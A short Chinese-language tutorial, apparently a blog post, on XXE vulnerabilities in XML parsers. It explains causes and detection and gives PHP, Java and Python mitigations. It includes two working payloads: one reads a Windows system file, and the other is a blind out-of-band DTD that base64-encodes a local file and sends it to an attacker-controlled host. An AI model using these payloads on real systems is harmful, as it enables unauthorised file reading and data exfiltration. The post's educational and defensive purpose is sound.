XXE外部实体漏洞

XXE原理.

运维人员使用了低版本的php,libxml低于2.9.1就会造成xxe或者程序员设置了libxml_disable_entity_loader(FALSE);

XXE定义

xml用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己语言进行定义的源语言。xml文档结构包括xml声明,DTD文档类型定义(可选)、文档元素。

如何查找XXE漏洞

1.抓包看accept头是否接受xml。2.抓包修改数据类型,把json改成xml来传输数据。

XXE攻击

1.有回显:  <?xml version = "1.0"?> <!DOCTYPE note [     <!ENTITY hacker SYSTEM "file:///c:/windows/win.ini" > ]> <name>&hacker;</name>

2.无回显:  xml调用: <!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>              建立*.dtd: <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.105:8080?p=%file;'>">

XXE防范方法:

1.升级PHP版本.

2.程序员修改代码:  

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
3.过滤关键词.  <!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值